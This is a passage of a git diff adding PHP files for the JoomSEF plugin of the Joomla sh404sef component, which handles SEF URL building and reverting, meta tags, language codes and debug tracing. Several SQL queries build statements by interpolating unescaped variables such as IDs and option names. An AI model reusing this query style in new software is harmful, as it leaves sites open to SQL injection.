= "UPDATE `#__sefurls` SET `sefurl` = ".$db->Quote($temploc).", `trashed` = '0' WHERE `id` = '{$row->id}' LIMIT 1"; + $db->setQuery($query); + if (!$db->query()) { + $msg = JText::_('Could not update the SEF URL in database'); + if (JDEBUG) { + $msg .= ': '.$db->getErrorMsg(); + } + JError::raiseError('JoomSEF Error', $msg); + } + + // Remove any remaining same 404 URL + $db->setQuery("DELETE FROM `#__sefurls` WHERE `sefurl` = ".$db->Quote($temploc)." AND `origurl` = '' LIMIT 1"); + if (!$db->query()) { + $msg = JText::_('Could not update the SEF URL in database'); + if (JDEBUG) { + $msg .= ': '.$db->getErrorMsg(); + } + JError::raiseError('JoomSEF Error', $msg); + } + + return; + } + + // No trashed URL found, try to find the 404 URL if set to + if ($check404) { + $query = "SELECT `id` FROM `#__sefurls` WHERE `sefurl` = ".$db->Quote($temploc)." AND `origurl` = ''"; + $db->setQuery($query); + $id = $db->loadResult(); + + // if 404 exists, rewrite it to the new URL + if (!is_null($id)) { + // TODO: update meta tags + $sqlId = (!empty($Itemid) ? ", `Itemid` = '{$Itemid}'" : ''); + $query = "UPDATE `#__sefurls` SET `origurl` = ".$db->Quote(html_entity_decode(urldecode($url)))."$sqlId, `priority` = ".$db->Quote($priority)." WHERE `id` = '{$id}' LIMIT 1"; + $db->setQuery($query); + + // if error occured + if (!$db->query()) { + $msg = JText::_('Could not update SEF URL in database'); + if (JDEBUG) { + $msg .= ': '.$db->getErrorMsg(); + } + JError::raiseError('JoomSEF Error', $msg); + } + + return; + } + } + + // No URL found + $col = $val = ''; + if( !empty($Itemid) ) { + $col = ', `Itemid`'; + $val = ", '$Itemid'"; + } + + $metakeys = $metavals = ''; + if (is_array($metadata) && count($metadata) > 0) { + foreach($metadata as $metakey => $metaval) { + $metakeys .= ", `$metakey`"; + $metavals .= ", ".$db->Quote($metaval); + } + } + + // get trace information if set to + $sefConfig =& SEFConfig::getConfig(); + if (@$sefConfig->trace) { + $traceinfo = $db->Quote(JoomSEF::_getDebugInfo($sefConfig->traceLevel)); + } + else $traceinfo = "NULL"; + + // Sitemap default values + $sm_indexed = ($sefConfig->sitemap_indexed ? 1 : 0); + $sm_date = date('Y-m-d'); + $sm_frequency = $sefConfig->sitemap_frequency; + $sm_priority = $sefConfig->sitemap_priority; + + $query = 'INSERT INTO `#__sefurls` (`sefurl`, `origurl`, `priority`' . $col . $metakeys . ', `trace`, `sm_indexed`, `sm_date`, `sm_frequency`, `sm_priority`) ' . + "VALUES (".$db->Quote($temploc).", ".$db->Quote(html_entity_decode(urldecode($url))).", ".$db->Quote($priority). $val . $metavals . ", " . $traceinfo . ", '{$sm_indexed}', '{$sm_date}', '{$sm_frequency}', '{$sm_priority}')"; + $db->setQuery($query); + + // if error occured + if (!$db->query()) { + $msg = JText::_('Could not save the SEF URL to database'); + if (JDEBUG) { + $msg .= ': '.$db->getErrorMsg(); + } + JError::raiseError('JoomSEF Error', $msg); + } + } + + function _uriToUrl($uri, $removeVariables = null) + { + // Create new JURI object + $url = new JURI($uri->toString()); + + // Remove variables if needed + if (!empty($removeVariables)) { + if (is_array($removeVariables)) { + foreach ($removeVariables as $var) { + $url->delVar($var); + } + } else { + $url->delVar($removeVariables); + } + } + + // sort variables + ksort($url->_vars); + $opt = $url->getVar('option'); + if( !is_null($opt) ) { + $url->delVar('option'); + array_unshift($url->_vars, array('option' => $opt)); + } + $url->_query = null; + + // Create string for db + return $url->toString(array('path', 'query')); + } + + /** + * Get SEF titles of content items. + * + * @param string $task + * @param int $id + * @return string + */ + function _getContentTitles($task, $id) + { + $database =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + $title = array(); + // JF translate extension. + $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; + $title_field = 'title'; + if ($sefConfig->useAlias) $title_field = 'alias'; + + switch ($task) { + case 'section': + case 'blogsection': { + if (isset($id)) { + $sql = "SELECT `$title_field` AS `section`$jfTranslate FROM `#__sections` WHERE `id` = '$id'"; + } + break; + } + case 'category': + case 'blogcategory': + if (isset($id)) { + if ($sefConfig->showSection || !$sefConfig->showCat) { + $sql = 'SELECT s.'.$title_field.' AS section'.($jfTranslate ? ', s.id AS section_id' : '') + .($sefConfig->showCat ? ', c.'.$title_field.' AS category'.($jfTranslate ? ', c.id' : '') : '') + .' FROM #__categories as c ' + .'LEFT JOIN #__sections AS s ON c.section = s.id ' + .'WHERE c.id = '.$id; + } + else $sql = "SELECT `$title_field` AS `category`$jfTranslate FROM #__categories WHERE `id` = $id"; + } + break; + case 'article': + if (isset($id)) { + if ($sefConfig->useAlias) { + // verify title alias is not empty + $database->setQuery("SELECT `alias`$jfTranslate FROM `#__content` WHERE `id` = '".intval($id)."'"); + $title_field = $database->loadResult() ? 'alias' : 'title'; + } + else $title_field = 'title'; + if ($sefConfig->showSection || !$sefConfig->showCat) { + $sql = 'SELECT '.($sefConfig->showSection ? 's.'.$title_field.' AS section'.($jfTranslate ? ', s.id AS section_id' : '').', ' : ''). + ($sefConfig->showCat ? 'c.'.$title_field.' AS category'.($jfTranslate ? ', c.id AS category_id' : '').', ' : ''). + 'a.'.$title_field.' AS title'.($jfTranslate ? ', a.id' : '').' FROM #__content as a'. + ' LEFT JOIN #__sections AS s ON a.sectionid = s.id '. + ($sefConfig->showCat ? ' LEFT JOIN #__categories AS c ON a.catid = c.id ' : ''). + ' WHERE a.id = '.$id; + } + else { + $sql = 'SELECT '.($sefConfig->showCat ? 'c.'.$title_field.' AS category'.($jfTranslate ? ', c.id AS category_id' : '').', ' : '') + .'a.'.$title_field.' AS title'.($jfTranslate ? ', a.id' : '').' FROM #__content as a'. + ($sefConfig->showCat ? ' LEFT JOIN #__categories AS c ON a.catid = c.id ' : ''). + ' WHERE a.id = '.$id; + } + } + break; + default: + $sql = ''; + } + + if ($sql) { + $database->setQuery($sql); + $row = $database->loadObject(); + + if (isset($row->section)) { + $title[] = $row->section; + if ($sefConfig->contentUseIndex && ($task == 'section')) { + $title[] = '/'; + } + } + if (isset($row->category)) { + $title[] = $row->category; + if ($sefConfig->contentUseIndex && ($task == 'category')) { + $title[] = '/'; + } + } + if (isset($row->title)) $title[] = $row->title; + } + return $title; + } + + /** + * Returns the Joomla category for given id + * + * @param int $catid + * @return string + */ + function _getCategories($catid, $useAlias = false) + { + $sefConfig =& SEFConfig::getConfig(); + $database = ShlDbHelper::getDb(); + + $jfTranslate = $sefConfig->translateNames ? ', `id`' : ''; + + $cat_table = "#__categories"; + $field = 'title'; + if( $useAlias ) { + $field = 'alias'; + } + + // Let's find the Joomla category name for given category ID + $title = ''; + if (isset($catid) && $catid != 0){ + $catid = intval($catid); + $query = "SELECT `$field` AS `title` $jfTranslate FROM `$cat_table` WHERE `id` = '$catid'"; + $database->setQuery($query); + $rows = $database->loadObjectList(); + + try { + if ($database->getErrorNum()) { + $msg = JText::_('Database error'); + if (JDEBUG) { + $msg .= ': '.$database->stderr(); + } + throw new Exception( $msg); + } + } catch (Exception $e) { + JError::raiseError('JoomSEF Error', $e->getMessage()); + } + if (@count($rows) > 0 && !empty($rows[0]->title)) $title = $rows[0]->title; + } + return $title; + } + + /** + * Returns the default priority value for the url + * + * @param JURI $uri + * @return int + */ + function _getPriorityDefault(&$uri) + { + $itemid = $uri->getVar('Itemid'); + + if( is_null($itemid) ) { + return _COM_SEF_PRIORITY_DEFAULT; + } + else { + return _COM_SEF_PRIORITY_DEFAULT_ITEMID; + } + } + + function _getDebugInfo($traceLevel = 3, $onlyUserInfo = false) + { + $debuginfo = ''; $tr = 0; + + $uri = JURI::getInstance(); + if (!$onlyUserInfo) { + $debuginfo = 'From: ' . @$uri->toString() . "\n"; + } + + $debuginfo .= 'Referer: ' . @$_SERVER['HTTP_REFERER'] . "\n"; + $debuginfo .= 'User agent: ' . @$_SERVER['HTTP_USER_AGENT']; + + if ($onlyUserInfo) { + return $debuginfo; + } + + $debuginfo .= "\n\n"; + $trace = debug_backtrace(); + foreach ($trace as $row) { + if (@$row['class'] == 'JRouterJoomsef' && @$row['function'] == 'build') { + // this starts tracing for next 3 rounds + $tr = 1; + continue; + } + elseif ($tr == 0) continue; + + $file = isset($row['file']) ? str_replace(JPATH_BASE, '', $row['file']) : 'n/a'; + $args = array(); + foreach ($row['args'] as $arg) { + if (is_object($arg)) $args[] = get_class($arg); + elseif (is_array($arg)) $args[] = 'Array'; + else $args[] = "'" . $arg . "'"; + } + $debuginfo .= '#' . $tr . ': ' . @$row['class'] . @$row['type'] . @$row['function'] . "(" . implode(', ', $args) . "), " . $file . ' line ' . @$row['line'] . "\n"; + + if ($tr == $traceLevel) break; + $tr++; + } + + return $debuginfo; + } + + + function CheckAccess() + { + if (isset($_GET['query'])) { + if (strtolower($_GET['query']) == 'ispaid') { + echo 'false'; exit(); + } + } + + die('Restricted access'); + } + + function OnlyPaidVersion() + { + echo ''.sprintf(JText::_('INFO_ONLY_PAID_VERSION'), '', '').''; + } + +} +?> diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/sef.ext.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/sef.ext.php new file mode 100644 index 00000000..b28b0781 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/sef.ext.php @@ -0,0 +1,347 @@ +params = SEFTools::getExtParams($className); + } + + function beforeCreate(&$uri) + { + return; + } + + function afterCreate(&$uri) + { + return; + } + + /** + * Returns the nonSef vars and ignore vars + * + * @param JURI $uri + * @return array + */ + function getNonSefVars(&$uri) + { + return array(array(), array()); + } + + function getSefUrlFromDatabase(&$uri) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + + // David (284): ignore Itemid if set to + $where = ''; + + // Get the extension's ignoreSource parameter + $option = $uri->getVar('option'); + if( !is_null($option) ) { + $params = SEFTools::getExtParams($option); + $extIgnore = $params->get('ignoreSource', 2); + } else { + $extIgnore = 2; + } + $ignoreSource = ($extIgnore == 2 ? $sefConfig->ignoreSource : $extIgnore); + $Itemid = $uri->getVar('Itemid'); + + // If Itemid is set as ignored for the component, set ignoreSource to 1 + if (!is_null($Itemid) && !is_null($option)) { + if (SEFTools::isItemidIgnored($option, $Itemid)) { + $ignoreSource = 1; + } + } + + if (!$ignoreSource && !is_null($Itemid)) { + $where = " AND (`Itemid` = '".$Itemid."' OR `Itemid` IS NULL)"; + } + + $origurl = $db->Quote(html_entity_decode(urldecode(JoomSEF::_uriToUrl($uri, 'Itemid')))); + $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = {$origurl}" . $where . " AND (`trashed` = '0') LIMIT 2"; + $db->setQuery($query); + $sefurls = $db->loadObjectList('Itemid'); + + if (!$ignoreSource && !is_null($Itemid)) { + if (isset($sefurls[$Itemid])) { + $result = $sefurls[$Itemid]; + } + else if (isset($sefurls[''])) { + // We've found one of the ignored Itemids, update it with the current and return + $result = $sefurls['']; + $result->Itemid = $Itemid; + $query = "UPDATE `#__sefurls` SET `Itemid` = '{$Itemid}' WHERE `id` = '{$result->id}' LIMIT 1"; + $db->setQuery($query); + $db->query(); + } + else { + $result = reset($sefurls); + } + } + else { + $result = reset($sefurls); + } + + return is_object($result) ? $result : false; + + /* + // removed - was causing problems + $sefurls = $db->loadObjectList('Itemid'); + // test if current Itemid record exists, if YES, use it, if NO, use first found + if (isset($sefurls[$Itemid])) $active = $sefurls[$Itemid]; + elseif ($ignoreSource) $active = reset($sefurls); + //if (isset($active)) $result = $active->sefurl; + + return isset($active) ? $active : false; + */ + } + + function create(&$uri) + { + $vars = $uri->getQuery(true); + extract($vars); + + $title = array(); + $title[] = JoomSEF::_getMenuTitle(@$option, null, @$Itemid); + + $newUri = $uri; + if (count($title) > 0) { + $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang); + } + + return $newUri; + } + + function revert($route, &$disabled) + { + $db =ShlDbHelper::getDb(); + $sefConfig =& SEFConfig::getConfig(); + $cache =& SEFCache::getInstance(); + $vars = array(); + + $route = html_entity_decode(urldecode($route)); + $route = str_replace(' ', $sefConfig->replacement, $route); + $routeNoSlash = rtrim($route, '/'); + + // try to use cache + if ($sefConfig->useCache) { + $row = $cache->getNonSefUrl($route); + } + else $row = null; + + // cache worked + if ($row) $fromCache = true; + else { + // URL isn't in cache or cache disabled + $fromCache = false; + + if ($sefConfig->transitSlash) { + $where = "(`sefurl` = ".$db->Quote($routeNoSlash).") OR (`sefurl` = ".$db->Quote($routeNoSlash.'/').")"; + } else { + $where = "`sefurl` = ".$db->Quote($route); + } + $sql = "SELECT * FROM `#__sefurls` WHERE ($where) AND (`origurl` != '') AND (`trashed` = '0') ORDER BY `priority` LIMIT 1"; + $db->setQuery($sql); + $row = $db->loadObject(); + } + + if ($row) { + // Set the disabled flag (old cache records don't need to have enabled set) + if (!isset($row->enabled)) { + $row->enabled = 1; + } + if ($row->enabled) { + $disabled = false; + } else { + $disabled = true; + } + + // Use the already created URL + $string = $row->origurl; + if (isset($row->Itemid) && ($row->Itemid != '')) { + $string .= (strpos($string, '?') ? '&' : '?') . 'Itemid=' . $row->Itemid; + } + + // update the hits count if needed + if (!$fromCache || $sefConfig->cacheRecordHits) { + $where = ''; + if (!empty($row->id)) { + $where = " WHERE `id` = '{$row->id}'"; + } else { + $where = " WHERE `sefurl` = ".$db->Quote($row->sefurl)." AND `origurl` != '' AND `trashed` = '0'"; + } + + $db->setQuery("UPDATE `#__sefurls` SET `cpt` = (`cpt` + 1)".$where); + $db->query(); + } + + $string = str_replace( '&', '&', $string ); + $QUERY_STRING = str_replace('index.php?', '', $string); + parse_str($QUERY_STRING, $vars); + + // Moved to JoomSEF::_parseSefUrl() + /* + if ($sefConfig->setQueryString) { + $_SERVER['QUERY_STRING'] = $QUERY_STRING; + } + */ + + // prepare the meta tags array for MetaBot + // only if URL is not disabled + if (!$disabled) { + $mainframe =JFactory::getApplication(); + if (!empty($row->metatitle)) JoomSEF::set('sef.meta.title', $row->metatitle); + if (!empty($row->metadesc)) JoomSEF::set('sef.meta.desc', $row->metadesc); + if (!empty($row->metakey)) JoomSEF::set('sef.meta.key', $row->metakey); + if (!empty($row->metalang)) JoomSEF::set('sef.meta.lang', $row->metalang); + if (!empty($row->metarobots)) JoomSEF::set('sef.meta.robots', $row->metarobots); + if (!empty($row->metagoogle)) JoomSEF::set('sef.meta.google', $row->metagoogle); + if (!empty($row->canonicallink)) JoomSEF::set('sef.link.canonical', $row->canonicallink); + if (!empty($row->metacustom)) { + $metacustom = @unserialize($row->metacustom); + if (!empty($metacustom)) { + JoomSEF::set('sef.meta.custom', $metacustom); + } + } + } + + // If cache is enabled but URL isn't in cache yet, add it + if ($sefConfig->useCache && !$fromCache) { + $cache->addUrl($row->origurl, $row->sefurl, $row->cpt + 1, $row->Itemid, $row->metatitle, $row->metadesc, $row->metakey, $row->metalang, $row->metarobots, $row->metagoogle, $row->canonicallink, $row->metacustom, $row->enabled, $row->sef); + } + } elseif ($sefConfig->useMoved) { + // URL not found, let's try the Moved Permanently table + $where = ''; + if( $sefConfig->transitSlash ) { + $where = '(`old` = '.$db->Quote($routeNoSlash).') OR (`old` = '.$db->Quote($routeNoSlash.'/').')'; + } + else { + $where = '`old` = '.$db->Quote($route); + } + $db->setQuery("SELECT * FROM `#__sefmoved` WHERE {$where}"); + $row = $db->loadObject(); + + if($row) { + // URL found, let's update the lastHit in table and redirect + $db->setQuery("UPDATE `#__sefmoved` SET `lastHit` = NOW() WHERE `id` = '$row->id'"); + $db->query(); + + $root = JURI::root(); + $f = $l = ''; + if (!headers_sent($f, $l)) { + // Let's build absolute URL from our link + if( strstr($row->new, $root) === false ) { + $url = $root; + if (substr($url, -1) != '/') $url .= '/'; + if (substr($row->new, 0, 1) == '/') $row->new = substr($row->new, 1); + $url .= $row->new; + } else { + $url = $row->new; + } + + // Use the link to redirect + header('HTTP/1.1 301 Moved Permanently'); + header('Location: ' . $url); + header('Connection: close'); + exit(); + } else { + JoomSEF::_headers_sent_error($f, $l, __FILE__, __LINE__); + } + } + } + + return $vars; + } + + function getMetaTags() + { + $metatags = array(); + if (!empty($this->metadesc)) { + $cleanDesc = SEFTools::cleanDesc($this->metadesc); + } + if( $this->params->get('meta_desc', '1') && isset($cleanDesc)) { + $maxLen = $this->params->get('desc_len', '250'); + $metatags['metadesc'] = SEFTools::clipDesc($cleanDesc, $maxLen); + } + if( $this->params->get('meta_keys', '1') && isset($cleanDesc) ) { + $minLen = $this->params->get('keys_minlen', '3'); + $count = $this->params->get('keys_count', '15'); + $blacklist = $this->params->get('blacklist', null); + $metatags['metakey'] = SEFTools::generateKeywords($cleanDesc, $blacklist, $count, $minLen); + } + + return $metatags; + } +} + +/** + * JoomSEF basic rewriting + * + */ +class SefExt_Basic extends SefExt +{ + function _addValue(&$title, $value) + { + if (!is_array($value)) { + $title[] = $value; + } + else { + foreach ($value as $val) { + $this->_addValue($title, $val); + } + } + } + + function create(&$uri) + { + $vars = $uri->getQuery(true); + + $title = array(); + + if ($this->params->get('showMenuTitle', '1') == '1') { + $title[] = JoomSEF::_getMenuTitle($uri->getVar('option'), null, $uri->getVar('Itemid')); + } + else { + $title[] = substr($uri->getVar('option'), 4); + } + + $noAdd = array('option', 'lang', 'Itemid'); + foreach($vars as $name => $value) { + if (in_array($name, $noAdd)) { + continue; + } + + $this->_addValue($title, $value); + } + + $newUri = $uri; + if (count($title) > 0) { + $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $uri->getVar('lang')); + } + + return $newUri; + } +} + +?> \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/seftools.php b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/seftools.php new file mode 100644 index 00000000..7350f91c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/lib/extplugins/joomsef/seftools.php @@ -0,0 +1,1185 @@ +loadFile($xmlFile)) { + $root = & $xml->document; + $element = & $root->getElementByPath('version'); + $version = $element ? $element->data() : ''; + } + } + } + + return $version; + } + + function getSEFInfo() + { + static $info; + + if( !isset($info) ) { + $info = array(); + + $xml = JFactory::getXMLParser('Simple'); + + $xmlFile = JPATH_ADMINISTRATOR . '/' . 'components' . '/' . 'com_sef' . '/' . 'sef.xml'; + + if (JFile::exists($xmlFile)) { + if ($xml->loadFile($xmlFile)) { + $root = & $xml->document; + + $element = & $root->getElementByPath('version'); + $info['version'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('creationdate'); + $info['creationDate'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('author'); + $info['author'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('authoremail'); + $info['authorEmail'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('authorurl'); + $info['authorUrl'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('copyright'); + $info['copyright'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('license'); + $info['license'] = $element ? $element->data() : ''; + + $element = & $root->getElementByPath('description'); + $info['description'] = $element ? $element->data() : ''; + } + } + } + + return $info; + } + + function getExtVersion($extension) + { + $xml = & SEFTools::getExtXML($extension); + $version = null; + + if ($xml) { + $root = & $xml->document; + $ver = $root->attributes('version'); + if (($root->name() == 'install') && version_compare($ver, '1.5', '>=') && ($root->attributes('type') == 'sef_ext')) { + $element = & $root->getElementByPath('version'); + $version = $element ? $element->data() : ''; + } + } + + return $version; + } + + /** + * Checks if the installed JoomSEF extensions support current JoomSEF version + */ + function checkExtVersions() + { + // Check VM and Digistore versions + $v1 = SEFTools::getExtVersion('com_virtuemart'); + $v2 = SEFTools::getExtVersion('com_digistore'); + $exts = array(); + if (!is_null($v1) && version_compare('2.0.32', $v1) > 0) { + $exts[] = 'VirtueMart'; + } + if (!is_null($v2) && version_compare('2.1.1', $v2) > 0) { + $exts[] = 'iJoomla Digistore'; + } + if (count($exts) > 0) { + JError::raiseWarning(100, JText::sprintf('WARNING_EXTENSION_OLD_VERSION', implode(', ', $exts), ''.JText::_('Manage Extensions').'')); + } + } + + /** + * Returns extension name from its XML file. + * + * @return string + */ + function getExtName($extension) + { + $xml = & SEFTools::getExtXML($extension); + $name = null; + + if ($xml) { + $root = & $xml->document; + $ver = $root->attributes('version'); + if (($root->name() == 'install') && version_compare($ver, '1.5', '>=') && ($root->attributes('type') == 'sef_ext')) { + $element = & $root->getElementByPath('name'); + $name = $element ? $element->data() : ''; + } + } + + return $name; + } + + /** + * Returns the extension XML object + * + * @param string $extension Extension option + * @return JSimpleXML Extension XML + */ + function &getExtXML($extension) + { + static $xmls; + + if (! isset($xmls)) { + $xmls = array(); + } + + if (! isset($xmls[$extension])) { + $xmls[$extension] = null; + + $xmlFile = JPATH_ROOT . '/' . 'components' . '/' . 'com_sef' . '/' . 'sef_ext' . '/' . $extension . '.xml'; + if (JFile::exists($xmlFile)) { + $xmls[$extension] = JFactory::getXMLParser('Simple'); + if (! $xmls[$extension]->loadFile($xmlFile)) { + $xmls[$extension] = null; + } + } + } + + return $xmls[$extension]; + } + + function &getExtAcceptVars($option, $includeGlobal = true) + { + static $acceptVars; + + if( !isset($acceptVars) ) { + $acceptVars = array(); + } + + if( !isset($acceptVars[$option]) ) { + $sefConfig =& SEFConfig::getConfig(); + $params =& SEFTools::getExtParams($option); + $aVars = trim($params->get('acceptVars', '')); + + if( $aVars == '' ) { + $acceptVars[$option] = array(); + } + else { + $aVars = explode(';', $aVars); + $aVars = array_map('trim', $aVars); + $acceptVars[$option] = $aVars; + } + } + + return $acceptVars[$option]; + } + + function &getExtFilters($option, $includeGlobal = true) + { + static $filters; + + if( !isset($filters) ) { + $filters = array(); + } + + if( !isset($filters[$option]) ) { + $filters[$option] = array(); + $filters[$option]['pos'] = array(); + $filters[$option]['neg'] = array(); + + $db =ShlDbHelper::getDb(); + + $db->setQuery("SELECT `filters` FROM `#__sefexts` WHERE `file` = '{$option}.xml' LIMIT 1"); + $row = $db->loadResult(); + + if( $row ) { + // Parse the filters + $rules = explode("\n", $row); + $rules = array_map('trim', $rules); + + if( count($rules) > 0 ) { + foreach($rules as $rule) { + // Is the rule positive or negative? + if( $rule[0] == '+' ) { + $type = 'pos'; + } + else if( $rule[0] == '-' ) { + $type = 'neg'; + } + else { + continue; + } + + $rule = substr($rule, 1); + + // Split the rule to regexp and variables parts + $pos = strrpos($rule, '='); + if( $pos === false ) { + continue; + } + + $re = substr($rule, 0, $pos); + $vars = substr($rule, $pos + 1); + if( $re == '' ) { + continue; + } + + // Create the filter object + $filter = new stdClass(); + $filter->rule = $re; + if ($vars != '') { + $filter->vars = array_map('trim', explode(',', $vars)); + } + else { + $filter->vars = array(); + } + + // Add the filter to filters + $filters[$option][$type][] = $filter; + } + } + } + } + + return $filters[$option]; + } + + function &getExtFiltersByVars($option, $includeGlobal = true) + { + static $byVars; + + if( !isset($byVars) ) { + $byVars = array(); + } + + if (empty($option)) { + $option = '_default'; + } + + if( !isset($byVars[$option]) ) { + $byVars[$option] = array(); + + // Get filters + $filters =& SEFTools::getExtFilters($option, $includeGlobal); + if( count($filters) > 0 ) { + // Loop through filter types (pos, neg) + foreach($filters as $type => $typeFilters) { + if( count($typeFilters) > 0 ) { + // Loop through filters + foreach($typeFilters as $filter) { + if( count($filter->vars) > 0 ) { + // Loop through variables + foreach($filter->vars as $var) { + // Add filter to var and type + if( !isset($byVars[$option][$var]) ) { + $byVars[$option][$var] = array(); + } + if( !isset($byVars[$option][$var][$type]) ) { + $byVars[$option][$var][$type] = array(); + } + $byVars[$option][$var][$type][] = $filter->rule; + } + } + } + } + } + } + } + + return $byVars[$option]; + } + + function getLangCode($langTag = null) + { + $lang = JFactory::getLanguage(); + $defaultTag = $lang->getTag(); + + // Get current language tag + if (is_null($langTag)) { + $langTag = $defaultTag; + } + + if (SEFTools::JoomFishInstalled()) { + $jfm = & JoomFishManager::getInstance(); + $code = $jfm->getLanguageCode($langTag); + } + else { + // Only one language + $code = null; + if ($langTag == $defaultTag) { + $parts = explode('-', $defaultTag); + $code = $parts[0]; + } + } + + return $code; + } + + function getLangId($langTag = null) + { + $id = null; + + if (SEFTools::JoomFishInstalled()) { + // Get current language tag + if (is_null($langTag)) { + $lang = JFactory::getLanguage(); + $langTag = $lang->getTag(); + } + + $jfm = & JoomFishManager::getInstance(); + $id = $jfm->getLanguageID($langTag); + } + + return $id; + } + + function getLangLongCode($langCode = null) + { + static $codes; + + // Get current language code + if (is_null($langCode)) { + $lang = JFactory::getLanguage(); + return $lang->getTag(); + } + + if (is_null($codes)) { + $codes = array(); + + if (SEFTools::JoomFishInstalled()) { + $jfm = & JoomFishManager::getInstance(); + $langs = & $jfm->getLanguages(false); + if (!empty($langs)) { + foreach ($langs as $lang) { + $codes[$lang->shortcode] = $lang->code; + } + } + } + else { + // Only one language + $lang = JFactory::getLanguage(); + $tag = $lang->getTag(); + $parts = explode('-', $tag); + $iso = $parts[0]; + $codes[$iso] = $tag; + } + } + + if (isset($codes[$langCode])) { + return $codes[$langCode]; + } + + return null; + } + + /** + * Returns JParameter object representing extension's parameters + * + * @param string Extension name + * @return JParameter Extension's parameters + */ + function &getExtParams($option) + { + /* $db = ShlDbHelper::getDb(); + + static $exts, $params; + + if (! isset($exts)) { + $query = "SELECT `file`, `params` FROM `#__sefexts`"; + $db->setQuery($query); + $exts = $db->loadObjectList('file'); + } + + if (! isset($params)) { + $params = array(); + } + if (! isset($params[$option])) { + $data = ''; + if (isset($exts[$option . '.xml'])) { + $data = $exts[$option . '.xml']->params; + } + $params[$option] = new JParameter($data); + + // Set the extension's parameters renderer + $pxml = & SEFTools::getExtParamsXML($option); + if (is_a($pxml, 'JSimpleXMLElement')) { + $params[$option]->setXML($pxml); + } + else if( is_array($pxml) && count($pxml) > 0 ) { + for( $i = 0, $n = count($pxml); $i < $n; $i++ ) { + if( is_a($pxml[$i], 'JSimpleXMLElement') ) { + $params[$option]->setXML($pxml[$i]); + } + } + } + + // Set the default parameters renderer + $xml = & SEFTools::getExtsDefaultParamsXML(); + if (is_a($xml, 'JSimpleXMLElement')) { + $params[$option]->setXML($xml); + } + else if( is_array($xml) && count($xml) > 0 ) { + for( $i = 0, $n = count($xml); $i < $n; $i++ ) { + if( is_a($xml[$i], 'JSimpleXMLElement') ) { + $params[$option]->setXML($xml[$i]); + } + } + } + } + + return $params[$option]; + */ + $plugin = JPluginHelper::getPlugin( 'sh404sefextjoomsef', $option); + $rawParams = empty( $plugin) ? '' : $plugin->params; + $params = new JParameter( $rawParams); + return $params; + } + + /** + * Returns the JSimpleXMLElement object representing + * the default parameters for every extension + * + * @return JSimpleXMLElement Extensions' default parameters + */ + function &getExtsDefaultParamsXML() + { + static $xml; + + if (isset($xml)) { + return $xml; + } + + $xml = array(); + $xmlpath = JPATH_ROOT . '/' . 'administrator' . '/' . 'components' . '/' . 'com_sef' . '/' . 'extensions_params.xml'; + + if (JFile::exists($xmlpath)) { + $parser = JFactory::getXMLParser('Simple'); + if ($parser->loadFile($xmlpath)) { + //$xml = & $parser->document; + $doc =& $parser->document; + for( $i = 0, $n = count($doc->params); $i < $n; $i++ ) { + $xml[] =& $doc->params[$i]; + } + } + } + + return $xml; + } + + /** + * Returns the JSimpleXMLElement object representing + * the extension's parameters + * + * @param string $option Extension name + * @return JSimpleXMLElement Extension's parameters + */ + function &getExtParamsXML($option) + { + static $xmls; + + if (! isset($xmls)) { + $xmls = array(); + } + + if (! isset($xmls[$option])) { + $xmls[$option] = null; + + $xml = & SEFTools::getExtXML($option); + + if ($xml) { + $document = & $xml->document; + + $xmls[$option] = array(); + + if( isset($document->params) ) { + for( $i = 0, $n = count($document->params); $i < $n; $i++) { + if( isset($document->params[$i]->param) ) { + if( $i == 0 ) { + // Remove the parameters that are duplicate with common ones + $hide = array(); + $hideNames = array('ignoreSource' , 'itemid' , 'overrideId' , 'customNonSef'); + + // Collect elements to remove + for ($j = 0, $m = count($document->params[$i]->param); $j < $m; $j++) { + if (in_array($document->params[$i]->param[$j]->attributes('name'), $hideNames)) { + $hide[] = & $document->params[$i]->param[$j]; + } + } + + // Remove elements + for ($j = 0, $m = count($hide); $j < $m; $j++) { + $document->params[$i]->removeChild($hide[$j]); + } + } + + $xmls[$option][] =& $document->params[$i]; + } + } + } + } + } + + return $xmls[$option]; + } + + /** Returns the array of texts used by the extension for creating URLs + * in currently selected language (for JoomFish support) + * + * @param string Extension name + * @return array Extension's texts + */ + function getExtTexts($option, $lang = '') + { + $database = ShlDbHelper::getDb(); + + static $extTexts; + + if ($option == '') { + return false; + } + + // Set the language + if ($lang == '') { + $lang = SEFTools::getLangLongCode(); + } + if (! isset($extTexts)) { + $extTexts = array(); + } + if (! isset($extTexts[$option])) { + $extTexts[$option] = array(); + } + if (! isset($extTexts[$option][$lang])) { + $extTexts[$option][$lang] = array(); + // If lang is different than current language, change it + if ($lang != SEFTools::getLangLongCode()) { + $language = JFactory::getLanguage(); + $oldLang = $language->setLanguage($lang); + $language->load(); + } + $query = "SELECT `id`, `name`, `value` FROM `#__sefexttexts` WHERE `extension` = '$option'"; + $database->setQuery($query); + $texts = $database->loadObjectList(); + if (is_array($texts) && (count($texts) > 0)) { + foreach (array_keys($texts) as $i) { + $name = $texts[$i]->name; + $value = $texts[$i]->value; + $extTexts[$option][$lang][$name] = $value; + } + } + // Set the language back to previously selected one + if (isset($oldLang) && ($oldLang != SEFTools::getLangLongCode())) { + $language = JFactory::getLanguage(); + $language->setLanguage($oldLang); + $language->load(); + } + } + return $extTexts[$option][$lang]; + } + + function removeVariable($url, $var, $value = '') + { + if ($value == '') { + //$newurl = eregi_replace("(&|\?)$var=[^&]*", '\\1', $url); + + 